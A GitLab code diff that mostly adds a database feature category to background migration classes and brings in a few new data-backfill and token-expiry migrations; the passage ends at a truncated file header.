diff --git a/lib/gitlab/background_migration/backfill_project_namespace_on_issues.rb b/lib/gitlab/background_migration/backfill_project_namespace_on_issues.rb
index 34dd3321125..0c4953486f4 100644
--- a/lib/gitlab/background_migration/backfill_project_namespace_on_issues.rb
+++ b/lib/gitlab/background_migration/backfill_project_namespace_on_issues.rb
@@ -7,6 +7,7 @@ module Gitlab
MAX_UPDATE_RETRIES = 3
operation_name :update_all
+ feature_category :database
def perform
each_sub_batch(
diff --git a/lib/gitlab/background_migration/backfill_project_statistics_container_repository_size.rb b/lib/gitlab/background_migration/backfill_project_statistics_container_repository_size.rb
index ec813022b8f..01cae3e2d50 100644
--- a/lib/gitlab/background_migration/backfill_project_statistics_container_repository_size.rb
+++ b/lib/gitlab/background_migration/backfill_project_statistics_container_repository_size.rb
@@ -4,6 +4,8 @@ module Gitlab
module BackgroundMigration
# Back-fill container_registry_size for project_statistics
class BackfillProjectStatisticsContainerRepositorySize < Gitlab::BackgroundMigration::BatchedMigrationJob
+ feature_category :database
+
def perform
# no-op
end
diff --git a/lib/gitlab/background_migration/backfill_project_statistics_storage_size_without_uploads_size.rb b/lib/gitlab/background_migration/backfill_project_statistics_storage_size_without_uploads_size.rb
index 1a3dd88ea31..da865ed935a 100644
--- a/lib/gitlab/background_migration/backfill_project_statistics_storage_size_without_uploads_size.rb
+++ b/lib/gitlab/background_migration/backfill_project_statistics_storage_size_without_uploads_size.rb
@@ -4,6 +4,8 @@ module Gitlab
module BackgroundMigration
# Back-fill storage_size for project_statistics
class BackfillProjectStatisticsStorageSizeWithoutUploadsSize < Gitlab::BackgroundMigration::BatchedMigrationJob
+ feature_category :database
+
def perform
# no-op
end
diff --git a/lib/gitlab/background_migration/backfill_releases_author_id.rb b/lib/gitlab/background_migration/backfill_releases_author_id.rb
new file mode 100644
index 00000000000..8982fe1acca
--- /dev/null
+++ b/lib/gitlab/background_migration/backfill_releases_author_id.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # Backfills releases with empty release authors.
+ # More details on:
+ # 1) https://gitlab.com/groups/gitlab-org/-/epics/8375
+ # 2) https://gitlab.com/gitlab-org/gitlab/-/issues/367522#note_1156503600
+ class BackfillReleasesAuthorId < BatchedMigrationJob
+ operation_name :backfill_releases_author_id
+ job_arguments :ghost_user_id
+ feature_category :database
+
+ scope_to ->(relation) { relation.where(author_id: nil) }
+
+ def perform
+ each_sub_batch do |sub_batch|
+ sub_batch.update_all(author_id: ghost_user_id)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/backfill_user_details_fields.rb b/lib/gitlab/background_migration/backfill_user_details_fields.rb
index 8d8619256b0..26489d06a85 100644
--- a/lib/gitlab/background_migration/backfill_user_details_fields.rb
+++ b/lib/gitlab/background_migration/backfill_user_details_fields.rb
@@ -11,6 +11,7 @@ module Gitlab
# * organization
class BackfillUserDetailsFields < BatchedMigrationJob
operation_name :backfill_user_details_fields
+ feature_category :database
def perform
query = <<~SQL
diff --git a/lib/gitlab/background_migration/backfill_vulnerability_reads_cluster_agent.rb b/lib/gitlab/background_migration/backfill_vulnerability_reads_cluster_agent.rb
index 37b1a37569b..20c3c68ec40 100644
--- a/lib/gitlab/background_migration/backfill_vulnerability_reads_cluster_agent.rb
+++ b/lib/gitlab/background_migration/backfill_vulnerability_reads_cluster_agent.rb
@@ -5,6 +5,7 @@ module Gitlab
# Backfills the `vulnerability_reads.casted_cluster_agent_id` column
class BackfillVulnerabilityReadsClusterAgent < Gitlab::BackgroundMigration::BatchedMigrationJob
operation_name :update_all
+ feature_category :database
CLUSTER_AGENTS_JOIN = <<~SQL
INNER JOIN cluster_agents
diff --git a/lib/gitlab/background_migration/backfill_work_item_type_id_for_issues.rb b/lib/gitlab/background_migration/backfill_work_item_type_id_for_issues.rb
index a020cabd1f4..fc0d0ce3a57 100644
--- a/lib/gitlab/background_migration/backfill_work_item_type_id_for_issues.rb
+++ b/lib/gitlab/background_migration/backfill_work_item_type_id_for_issues.rb
@@ -5,6 +5,8 @@ module Gitlab
# Backfills the `issues.work_item_type_id` column, replacing any
# instances of `NULL` with the appropriate `work_item_types.id` based on `issues.issue_type`
class BackfillWorkItemTypeIdForIssues < BatchedMigrationJob
+ feature_category :database
+
# Basic AR model for issues table
class MigrationIssue < ApplicationRecord
self.table_name = 'issues'
diff --git a/lib/gitlab/background_migration/batched_migration_job.rb b/lib/gitlab/background_migration/batched_migration_job.rb
index 973ab20f547..4039a79cfa7 100644
--- a/lib/gitlab/background_migration/batched_migration_job.rb
+++ b/lib/gitlab/background_migration/batched_migration_job.rb
@@ -27,7 +27,7 @@ module Gitlab
end
def operation_name(operation)
- define_method('operation_name') do
+ define_method(:operation_name) do
operation
end
end
diff --git a/lib/gitlab/background_migration/cleanup_orphaned_routes.rb b/lib/gitlab/background_migration/cleanup_orphaned_routes.rb
index 0cd19dc5df9..5c0ddf0ba8b 100644
--- a/lib/gitlab/background_migration/cleanup_orphaned_routes.rb
+++ b/lib/gitlab/background_migration/cleanup_orphaned_routes.rb
@@ -8,6 +8,8 @@ module Gitlab
class CleanupOrphanedRoutes < Gitlab::BackgroundMigration::BatchedMigrationJob
include Gitlab::Database::DynamicModelHelpers
+ feature_category :database
+
def perform
# there should really be no records to fix, there is none gitlab.com, but taking the safer route, just in case.
fix_missing_namespace_id_routes
diff --git a/lib/gitlab/background_migration/copy_column_using_background_migration_job.rb b/lib/gitlab/background_migration/copy_column_using_background_migration_job.rb
index 136293242b2..033b2c87152 100644
--- a/lib/gitlab/background_migration/copy_column_using_background_migration_job.rb
+++ b/lib/gitlab/background_migration/copy_column_using_background_migration_job.rb
@@ -16,6 +16,7 @@ module Gitlab
class CopyColumnUsingBackgroundMigrationJob < BatchedMigrationJob
job_arguments :copy_from, :copy_to
operation_name :update_all
+ feature_category :database
def perform
assignment_clauses = build_assignment_clauses(copy_from, copy_to)
diff --git a/lib/gitlab/background_migration/delete_approval_rules_with_vulnerability.rb b/lib/gitlab/background_migration/delete_approval_rules_with_vulnerability.rb
index 739197898d9..c7c063e8ccf 100644
--- a/lib/gitlab/background_migration/delete_approval_rules_with_vulnerability.rb
+++ b/lib/gitlab/background_migration/delete_approval_rules_with_vulnerability.rb
@@ -5,6 +5,8 @@ module Gitlab
# This class doesn't delete approval rules
# as this feature exists only in EE
class DeleteApprovalRulesWithVulnerability < BatchedMigrationJob
+ feature_category :database
+
def perform
end
end
diff --git a/lib/gitlab/background_migration/delete_invalid_epic_issues.rb b/lib/gitlab/background_migration/delete_invalid_epic_issues.rb
index 3af59ab4931..6c0eb6b1950 100644
--- a/lib/gitlab/background_migration/delete_invalid_epic_issues.rb
+++ b/lib/gitlab/background_migration/delete_invalid_epic_issues.rb
@@ -4,6 +4,8 @@ module Gitlab
module BackgroundMigration
# rubocop: disable Style/Documentation
class DeleteInvalidEpicIssues < BatchedMigrationJob
+ feature_category :database
+
def perform
end
end
diff --git a/lib/gitlab/background_migration/delete_orphaned_operational_vulnerabilities.rb b/lib/gitlab/background_migration/delete_orphaned_operational_vulnerabilities.rb
index f93dcf83c49..6953ae65651 100644
--- a/lib/gitlab/background_migration/delete_orphaned_operational_vulnerabilities.rb
+++ b/lib/gitlab/background_migration/delete_orphaned_operational_vulnerabilities.rb
@@ -17,6 +17,8 @@ module Gitlab
SQL
operation_name :delete_orphaned_operational_vulnerabilities
+ feature_category :database
+
scope_to ->(relation) do
relation
.where(report_type: [REPORT_TYPES[:cluster_image_scanning], REPORT_TYPES[:custom]])
diff --git a/lib/gitlab/background_migration/delete_orphans_approval_merge_request_rules.rb b/lib/gitlab/background_migration/delete_orphans_approval_merge_request_rules.rb
index 4b7b7d42c77..e77d56d68cb 100644
--- a/lib/gitlab/background_migration/delete_orphans_approval_merge_request_rules.rb
+++ b/lib/gitlab/background_migration/delete_orphans_approval_merge_request_rules.rb
@@ -7,6 +7,7 @@ module Gitlab
scope_to ->(relation) { relation.where(report_type: 4) }
operation_name :delete_all
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/delete_orphans_approval_project_rules.rb b/lib/gitlab/background_migration/delete_orphans_approval_project_rules.rb
index 33aa1a8d29d..28809df8694 100644
--- a/lib/gitlab/background_migration/delete_orphans_approval_project_rules.rb
+++ b/lib/gitlab/background_migration/delete_orphans_approval_project_rules.rb
@@ -5,6 +5,7 @@ module Gitlab
# Deletes orphans records whenever report_type equals to scan_finding (i.e., 4)
class DeleteOrphansApprovalProjectRules < BatchedMigrationJob
operation_name :delete_all
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/destroy_invalid_group_members.rb b/lib/gitlab/background_migration/destroy_invalid_group_members.rb
index 9eb0d4489d6..79aae719d03 100644
--- a/lib/gitlab/background_migration/destroy_invalid_group_members.rb
+++ b/lib/gitlab/background_migration/destroy_invalid_group_members.rb
@@ -10,6 +10,7 @@ module Gitlab
end
operation_name :delete_all
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/destroy_invalid_members.rb b/lib/gitlab/background_migration/destroy_invalid_members.rb
index b274c71f24f..9a70dc39960 100644
--- a/lib/gitlab/background_migration/destroy_invalid_members.rb
+++ b/lib/gitlab/background_migration/destroy_invalid_members.rb
@@ -5,6 +5,7 @@ module Gitlab
class DestroyInvalidMembers < Gitlab::BackgroundMigration::BatchedMigrationJob # rubocop:disable Style/Documentation
scope_to ->(relation) { relation.where(member_namespace_id: nil) }
operation_name :delete_all
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/destroy_invalid_project_members.rb b/lib/gitlab/background_migration/destroy_invalid_project_members.rb
index 53b4712ef6e..5f6bb840f77 100644
--- a/lib/gitlab/background_migration/destroy_invalid_project_members.rb
+++ b/lib/gitlab/background_migration/destroy_invalid_project_members.rb
@@ -5,6 +5,7 @@ module Gitlab
class DestroyInvalidProjectMembers < Gitlab::BackgroundMigration::BatchedMigrationJob # rubocop:disable Style/Documentation
scope_to ->(relation) { relation.where(source_type: 'Project') }
operation_name :delete_all
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/disable_legacy_open_source_licence_for_recent_public_projects.rb b/lib/gitlab/background_migration/disable_legacy_open_source_licence_for_recent_public_projects.rb
index b32e88581dd..c4ce88b9404 100644
--- a/lib/gitlab/background_migration/disable_legacy_open_source_licence_for_recent_public_projects.rb
+++ b/lib/gitlab/background_migration/disable_legacy_open_source_licence_for_recent_public_projects.rb
@@ -8,6 +8,7 @@ module Gitlab
THRESHOLD_DATE = '2022-02-17 09:00:00'
operation_name :disable_legacy_open_source_licence_for_recent_public_projects
+ feature_category :database
# Migration only version of `project_settings` table
class ProjectSetting < ApplicationRecord
diff --git a/lib/gitlab/background_migration/disable_legacy_open_source_license_for_inactive_public_projects.rb b/lib/gitlab/background_migration/disable_legacy_open_source_license_for_inactive_public_projects.rb
index 5685b782a71..6114aa33a43 100644
--- a/lib/gitlab/background_migration/disable_legacy_open_source_license_for_inactive_public_projects.rb
+++ b/lib/gitlab/background_migration/disable_legacy_open_source_license_for_inactive_public_projects.rb
@@ -9,6 +9,7 @@ module Gitlab
LAST_ACTIVITY_DATE = '2021-07-01'
operation_name :disable_legacy_open_source_license_available
+ feature_category :database
# Migration only version of `project_settings` table
class ProjectSetting < ApplicationRecord
diff --git a/lib/gitlab/background_migration/disable_legacy_open_source_license_for_no_issues_no_repo_projects.rb b/lib/gitlab/background_migration/disable_legacy_open_source_license_for_no_issues_no_repo_projects.rb
index b5e5555bd2d..2eb7c5230ba 100644
--- a/lib/gitlab/background_migration/disable_legacy_open_source_license_for_no_issues_no_repo_projects.rb
+++ b/lib/gitlab/background_migration/disable_legacy_open_source_license_for_no_issues_no_repo_projects.rb
@@ -7,6 +7,7 @@ module Gitlab
PUBLIC = 20
operation_name :disable_legacy_open_source_license_for_no_issues_no_repo_projects
+ feature_category :database
# Migration only version of `project_settings` table
class ProjectSetting < ApplicationRecord
diff --git a/lib/gitlab/background_migration/disable_legacy_open_source_license_for_one_member_no_repo_projects.rb b/lib/gitlab/background_migration/disable_legacy_open_source_license_for_one_member_no_repo_projects.rb
index 89863458676..8953836c705 100644
--- a/lib/gitlab/background_migration/disable_legacy_open_source_license_for_one_member_no_repo_projects.rb
+++ b/lib/gitlab/background_migration/disable_legacy_open_source_license_for_one_member_no_repo_projects.rb
@@ -7,6 +7,7 @@ module Gitlab
PUBLIC = 20
operation_name :disable_legacy_open_source_license_for_one_member_no_repo_projects
+ feature_category :database
# Migration only version of `project_settings` table
class ProjectSetting < ApplicationRecord
diff --git a/lib/gitlab/background_migration/disable_legacy_open_source_license_for_projects_less_than_five_mb.rb b/lib/gitlab/background_migration/disable_legacy_open_source_license_for_projects_less_than_five_mb.rb
index dcef4f086e2..b2805289b30 100644
--- a/lib/gitlab/background_migration/disable_legacy_open_source_license_for_projects_less_than_five_mb.rb
+++ b/lib/gitlab/background_migration/disable_legacy_open_source_license_for_projects_less_than_five_mb.rb
@@ -10,6 +10,7 @@ module Gitlab
end
operation_name :disable_legacy_open_source_license_for_projects_less_than_five_mb
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/disable_legacy_open_source_license_for_projects_less_than_one_mb.rb b/lib/gitlab/background_migration/disable_legacy_open_source_license_for_projects_less_than_one_mb.rb
index 7d93f2d4fda..15c80a6cac2 100644
--- a/lib/gitlab/background_migration/disable_legacy_open_source_license_for_projects_less_than_one_mb.rb
+++ b/lib/gitlab/background_migration/disable_legacy_open_source_license_for_projects_less_than_one_mb.rb
@@ -6,6 +6,7 @@ module Gitlab
class DisableLegacyOpenSourceLicenseForProjectsLessThanOneMb < ::Gitlab::BackgroundMigration::BatchedMigrationJob
scope_to ->(relation) { relation.where(legacy_open_source_license_available: true) }
operation_name :disable_legacy_open_source_license_for_projects_less_than_one_mb
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/expire_o_auth_tokens.rb b/lib/gitlab/background_migration/expire_o_auth_tokens.rb
index 08bcdb8a789..20dacd642de 100644
--- a/lib/gitlab/background_migration/expire_o_auth_tokens.rb
+++ b/lib/gitlab/background_migration/expire_o_auth_tokens.rb
@@ -4,21 +4,15 @@ module Gitlab
module BackgroundMigration
# Add expiry to all OAuth access tokens
class ExpireOAuthTokens < ::Gitlab::BackgroundMigration::BatchedMigrationJob
- operation_name :update_oauth_tokens
+ scope_to ->(relation) { relation.where(expires_in: nil) }
+ operation_name :update_all
+ feature_category :database
def perform
- each_sub_batch(
- batching_scope: ->(relation) { relation.where(expires_in: nil) }
- ) do |sub_batch|
- update_oauth_tokens(sub_batch)
+ each_sub_batch do |sub_batch|
+ sub_batch.update_all(expires_in: 2.hours)
end
end
-
- private
-
- def update_oauth_tokens(relation)
- relation.update_all(expires_in: 7_200)
- end
end
end
end
diff --git a/lib/gitlab/background_migration/fix_approval_project_rules_without_protected_branches.rb b/lib/gitlab/background_migration/fix_approval_project_rules_without_protected_branches.rb
index 4b283bae79d..bfbed0408e1 100644
--- a/lib/gitlab/background_migration/fix_approval_project_rules_without_protected_branches.rb
+++ b/lib/gitlab/background_migration/fix_approval_project_rules_without_protected_branches.rb
@@ -5,6 +5,8 @@ module Gitlab
# This class doesn't update approval project rules
# as this feature exists only in EE
class FixApprovalProjectRulesWithoutProtectedBranches < BatchedMigrationJob
+ feature_category :database
+
def perform; end
end
end
diff --git a/lib/gitlab/background_migration/fix_projects_without_prometheus_service.rb b/lib/gitlab/background_migration/fix_projects_without_prometheus_service.rb
index 97a9913fa74..452167d4d61 100644
--- a/lib/gitlab/background_migration/fix_projects_without_prometheus_service.rb
+++ b/lib/gitlab/background_migration/fix_projects_without_prometheus_service.rb
@@ -186,7 +186,7 @@ module Gitlab
end
def migrate_instance_cluster?
- if instance_variable_defined?('@migrate_instance_cluster')
+ if instance_variable_defined?(:@migrate_instance_cluster)
@migrate_instance_cluster
else
@migrate_instance_cluster = Migratable::Cluster.instance_type.has_prometheus_application?
diff --git a/lib/gitlab/background_migration/fix_security_scan_statuses.rb b/lib/gitlab/background_migration/fix_security_scan_statuses.rb
index b60e739f870..1cfc9a278b7 100644
--- a/lib/gitlab/background_migration/fix_security_scan_statuses.rb
+++ b/lib/gitlab/background_migration/fix_security_scan_statuses.rb
@@ -4,6 +4,8 @@ module Gitlab
module BackgroundMigration
# Fixes the `status` attribute of `security_scans` records
class FixSecurityScanStatuses < BatchedMigrationJob
+ feature_category :database
+
def perform
# no-op. The logic is defined in EE module.
end
diff --git a/lib/gitlab/background_migration/migrate_shared_vulnerability_scanners.rb b/lib/gitlab/background_migration/migrate_shared_vulnerability_scanners.rb
index bea0120f093..d1acb8ca2d2 100644
--- a/lib/gitlab/background_migration/migrate_shared_vulnerability_scanners.rb
+++ b/lib/gitlab/background_migration/migrate_shared_vulnerability_scanners.rb
@@ -4,6 +4,8 @@ module Gitlab
module BackgroundMigration
# rubocop: disable Style/Documentation
class MigrateSharedVulnerabilityScanners < BatchedMigrationJob
+ feature_category :database
+
def perform
end
end
diff --git a/lib/gitlab/background_migration/migrate_vulnerabilities_feedback_to_vulnerabilities_state_transition.rb b/lib/gitlab/background_migration/migrate_vulnerabilities_feedback_to_vulnerabilities_state_transition.rb
index 81b29b5a6cd..84f7462e6b8 100644
--- a/lib/gitlab/background_migration/migrate_vulnerabilities_feedback_to_vulnerabilities_state_transition.rb
+++ b/lib/gitlab/background_migration/migrate_vulnerabilities_feedback_to_vulnerabilities_state_transition.rb
@@ -4,6 +4,8 @@
module Gitlab
module BackgroundMigration
class MigrateVulnerabilitiesFeedbackToVulnerabilitiesStateTransition < BatchedMigrationJob
+ feature_category :database
+
def perform; end
end
end
diff --git a/lib/gitlab/background_migration/populate_approval_merge_request_rules_with_security_orchestration.rb b/lib/gitlab/background_migration/populate_approval_merge_request_rules_with_security_orchestration.rb
index 2257dc016be..00d7b1b9664 100644
--- a/lib/gitlab/background_migration/populate_approval_merge_request_rules_with_security_orchestration.rb
+++ b/lib/gitlab/background_migration/populate_approval_merge_request_rules_with_security_orchestration.rb
@@ -5,6 +5,8 @@ module Gitlab
# This class doesn't delete merge request level rules
# as this feature exists only in EE
class PopulateApprovalMergeRequestRulesWithSecurityOrchestration < BatchedMigrationJob
+ feature_category :database
+
def perform; end
end
end
diff --git a/lib/gitlab/background_migration/populate_approval_project_rules_with_security_orchestration.rb b/lib/gitlab/background_migration/populate_approval_project_rules_with_security_orchestration.rb
index 1d0c0010551..e5f283db926 100644
--- a/lib/gitlab/background_migration/populate_approval_project_rules_with_security_orchestration.rb
+++ b/lib/gitlab/background_migration/populate_approval_project_rules_with_security_orchestration.rb
@@ -5,6 +5,8 @@ module Gitlab
# This class doesn't delete merge request level rules
# as this feature exists only in EE
class PopulateApprovalProjectRulesWithSecurityOrchestration < BatchedMigrationJob
+ feature_category :database
+
def perform; end
end
end
diff --git a/lib/gitlab/background_migration/populate_operation_visibility_permissions_from_operations.rb b/lib/gitlab/background_migration/populate_operation_visibility_permissions_from_operations.rb
index 3dd867fa1fe..46758bc8fed 100644
--- a/lib/gitlab/background_migration/populate_operation_visibility_permissions_from_operations.rb
+++ b/lib/gitlab/background_migration/populate_operation_visibility_permissions_from_operations.rb
@@ -7,6 +7,7 @@ module Gitlab
# The operations_access_level setting is being split into three seperate toggles.
class PopulateOperationVisibilityPermissionsFromOperations < BatchedMigrationJob
operation_name :populate_operations_visibility
+ feature_category :database
def perform
each_sub_batch do |batch|
diff --git a/lib/gitlab/background_migration/populate_projects_star_count.rb b/lib/gitlab/background_migration/populate_projects_star_count.rb
index 085d576637e..8417dc91b1b 100644
--- a/lib/gitlab/background_migration/populate_projects_star_count.rb
+++ b/lib/gitlab/background_migration/populate_projects_star_count.rb
@@ -7,6 +7,7 @@ module Gitlab
MAX_UPDATE_RETRIES = 3
operation_name :update_all
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/prune_stale_project_export_jobs.rb b/lib/gitlab/background_migration/prune_stale_project_export_jobs.rb
index a91cda2c427..3b4b55276fa 100644
--- a/lib/gitlab/background_migration/prune_stale_project_export_jobs.rb
+++ b/lib/gitlab/background_migration/prune_stale_project_export_jobs.rb
@@ -8,6 +8,7 @@ module Gitlab
scope_to ->(relation) { relation.where("updated_at < ?", EXPIRES_IN.ago) }
operation_name :delete_all
+ feature_category :database
def perform
each_sub_batch(&:delete_all)
diff --git a/lib/gitlab/background_migration/re_expire_o_auth_tokens.rb b/lib/gitlab/background_migration/re_expire_o_auth_tokens.rb
new file mode 100644
index 00000000000..c327b14669d
--- /dev/null
+++ b/lib/gitlab/background_migration/re_expire_o_auth_tokens.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # rubocop: disable Style/Documentation
+ class ReExpireOAuthTokens < Gitlab::BackgroundMigration::ExpireOAuthTokens # rubocop:disable Migration/BackgroundMigrationBaseClass
+ end
+ # rubocop: enable Style/Documentation
+ end
+end
diff --git a/lib/gitlab/background_migration/recount_epic_cache_counts.rb b/lib/gitlab/background_migration/recount_epic_cache_counts.rb
index 42f84a33a5a..cec17ef7cff 100644
--- a/lib/gitlab/background_migration/recount_epic_cache_counts.rb
+++ b/lib/gitlab/background_migration/recount_epic_cache_counts.rb
@@ -4,6 +4,8 @@ module Gitlab
module BackgroundMigration
# rubocop: disable Style/Documentation
class RecountEpicCacheCounts < Gitlab::BackgroundMigration::BatchedMigrationJob
+ feature_category :database
+
def perform; end
end
# rubocop: enable Style/Documentation
diff --git a/lib/gitlab/background_migration/remove_backfilled_job_artifacts_expire_at.rb b/lib/gitlab/background_migration/remove_backfilled_job_artifacts_expire_at.rb
index dc7c16d7947..7b88e10f39c 100644
--- a/lib/gitlab/background_migration/remove_backfilled_job_artifacts_expire_at.rb
+++ b/lib/gitlab/background_migration/remove_backfilled_job_artifacts_expire_at.rb
@@ -7,6 +7,7 @@ module Gitlab
# These job artifacts will not be deleted and will have their `expire_at` removed.
class RemoveBackfilledJobArtifactsExpireAt < BatchedMigrationJob
operation_name :update_all
+ feature_category :database
# The migration would have backfilled `expire_at`
# to midnight on the 22nd of the month of the local timezone,
diff --git a/lib/gitlab/background_migration/remove_self_managed_wiki_notes.rb b/lib/gitlab/background_migration/remove_self_managed_wiki_notes.rb
index a284c04d4f5..cf3897208b8 100644
--- a/lib/gitlab/background_migration/remove_self_managed_wiki_notes.rb
+++ b/lib/gitlab/background_migration/remove_self_managed_wiki_notes.rb
@@ -5,6 +5,7 @@ module Gitlab
# Removes obsolete wiki notes
class RemoveSelfManagedWikiNotes < BatchedMigrationJob
operation_name :delete_all
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/rename_task_system_note_to_checklist_item.rb b/lib/gitlab/background_migration/rename_task_system_note_to_checklist_item.rb
index 1b13c2ab7ef..0615d8a6783 100644
--- a/lib/gitlab/background_migration/rename_task_system_note_to_checklist_item.rb
+++ b/lib/gitlab/background_migration/rename_task_system_note_to_checklist_item.rb
@@ -14,6 +14,7 @@ module Gitlab
}
operation_name :update_all
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/reset_duplicate_ci_runners_token_encrypted_values.rb b/lib/gitlab/background_migration/reset_duplicate_ci_runners_token_encrypted_values.rb
index 832385fd662..64eae1e934e 100644
--- a/lib/gitlab/background_migration/reset_duplicate_ci_runners_token_encrypted_values.rb
+++ b/lib/gitlab/background_migration/reset_duplicate_ci_runners_token_encrypted_values.rb
@@ -5,6 +5,7 @@ module Gitlab
# A job to nullify duplicate token_encrypted values in ci_runners table in batches
class ResetDuplicateCiRunnersTokenEncryptedValues < BatchedMigrationJob
operation_name :nullify_duplicate_ci_runner_token_encrypted_values
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/reset_duplicate_ci_runners_token_values.rb b/lib/gitlab/background_migration/reset_duplicate_ci_runners_token_values.rb
index 5f552accd8d..fd15caa5644 100644
--- a/lib/gitlab/background_migration/reset_duplicate_ci_runners_token_values.rb
+++ b/lib/gitlab/background_migration/reset_duplicate_ci_runners_token_values.rb
@@ -5,6 +5,7 @@ module Gitlab
# A job to nullify duplicate token values in ci_runners table in batches
class ResetDuplicateCiRunnersTokenValues < BatchedMigrationJob
operation_name :nullify_duplicate_ci_runner_token_values
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/reset_status_on_container_repositories.rb b/lib/gitlab/background_migration/reset_status_on_container_repositories.rb
index 09cd3b1895f..0dbe2781327 100644
--- a/lib/gitlab/background_migration/reset_status_on_container_repositories.rb
+++ b/lib/gitlab/background_migration/reset_status_on_container_repositories.rb
@@ -13,6 +13,7 @@ module Gitlab
scope_to ->(relation) { relation.where(status: DELETE_SCHEDULED_STATUS) }
operation_name :reset_status_on_container_repositories
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/sanitize_confidential_todos.rb b/lib/gitlab/background_migration/sanitize_confidential_todos.rb
index d3ef6ac3019..2df0b8a4d93 100644
--- a/lib/gitlab/background_migration/sanitize_confidential_todos.rb
+++ b/lib/gitlab/background_migration/sanitize_confidential_todos.rb
@@ -13,6 +13,7 @@ module Gitlab
scope_to ->(relation) { relation.where(confidential: true) }
operation_name :delete_invalid_todos
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/second_recount_epic_cache_counts.rb b/lib/gitlab/background_migration/second_recount_epic_cache_counts.rb
new file mode 100644
index 00000000000..4d7c4a682a9
--- /dev/null
+++ b/lib/gitlab/background_migration/second_recount_epic_cache_counts.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # rubocop: disable Style/Documentation
+ class SecondRecountEpicCacheCounts < Gitlab::BackgroundMigration::BatchedMigrationJob
+ feature_category :database
+
+ def perform; end
+ end
+ # rubocop: enable Style/Documentation
+ end
+end
+
+# rubocop: disable Layout/LineLength
+# we just want to re-enqueue the previous BackfillEpicCacheCounts migration,
+# because it's a EE-only migation and it's a module, we just prepend new
+# RecountEpicCacheCounts with existing batched migration module (which is same in both cases)
+Gitlab::BackgroundMigration::SecondRecountEpicCacheCounts.prepend_mod_with('Gitlab::BackgroundMigration::BackfillEpicCacheCounts')
+# rubocop: enable Layout/LineLength
diff --git a/lib/gitlab/background_migration/set_correct_vulnerability_state.rb b/lib/gitlab/background_migration/set_correct_vulnerability_state.rb
index dfd71bb8b5f..49ef75d7ba8 100644
--- a/lib/gitlab/background_migration/set_correct_vulnerability_state.rb
+++ b/lib/gitlab/background_migration/set_correct_vulnerability_state.rb
@@ -8,6 +8,7 @@ module Gitlab
scope_to ->(relation) { relation.where.not(dismissed_at: nil) }
operation_name :update_vulnerabilities_state
+ feature_category :database
def perform
each_sub_batch do |sub_batch|
diff --git a/lib/gitlab/background_migration/set_legacy_open_source_license_available_for_non_public_projects.rb b/lib/gitlab/background_migration/set_legacy_open_source_license_available_for_non_public_projects.rb
index 4ae7ad897cf..86fcfa18dc3 100644
--- a/lib/gitlab/background_migration/set_legacy_open_source_license_available_for_non_public_projects.rb
+++ b/lib/gitlab/background_migration/set_legacy_open_source_license_available_for_non_public_projects.rb
@@ -7,6 +7,7 @@ module Gitlab
PUBLIC = 20
operation_name :set_legacy_open_source_license_available
+ feature_category :database
# Migration only version of `project_settings` table
class ProjectSetting < ApplicationRecord
diff --git a/lib/gitlab/background_migration/truncate_overlong_vulnerability_html_titles.rb b/lib/gitlab/background_migration/truncate_overlong_vulnerability_html_titles.rb
new file mode 100644
index 00000000000..5ae1698b910
--- /dev/null
+++ b/lib/gitlab/background_migration/truncate_overlong_vulnerability_html_titles.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # Truncate the Vulnerability html_title if it exceeds 800 chars
+ class TruncateOverlongVulnerabilityHtmlTitles < BatchedMigrationJob
+ feature_category :vulnerability_management
+ scope_to ->(relation) { relation.where("LENGTH(title_html) > 800") }
+ operation_name :truncate_vulnerability_title_htmls
+
+ class Vulnerability < ApplicationRecord # rubocop:disable Style/Documentation
+ self.table_name = "vulnerabilities"
+ end
+
+ def perform
+ each_sub_batch do |sub_batch|
+ sub_batch.update_all("title_html = left(title_html, 800)")
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/update_ci_pipeline_artifacts_unknown_locked_status.rb b/lib/gitlab/background_migration/update_ci_pipeline_artifacts_unknown_locked_status.rb
index 84183753158..77b4a9ab7e4 100644
--- a/lib/gitlab/background_migration/update_ci_pipeline_artifacts_unknown_locked_status.rb
+++ b/lib/gitlab/background_migration/update_ci_pipeline_artifacts_unknown_locked_status.rb
@@ -9,6 +9,8 @@ module Gitlab
# value of the associated `ci_pipelines.locked` value. This class
# does an UPDATE join to make the values match.
class UpdateCiPipelineArtifactsUnknownLockedStatus < BatchedMigrationJob
+ feature_category :database
+
def perform
connection.exec_query(<<~SQL)
UPDATE ci_pipeline_artifacts
diff --git a/lib/gitlab/background_migration/update_delayed_project_removal_to_null_for_user_namespaces.rb b/lib/gitlab/background_migration/update_delayed_project_removal_to_null_for_user_namespaces.rb
index b2cf8298e4f..a7faa5703da 100644
--- a/lib/gitlab/background_migration/update_delayed_project_removal_to_null_for_user_namespaces.rb
+++ b/lib/gitlab/background_migration/update_delayed_project_removal_to_null_for_user_namespaces.rb
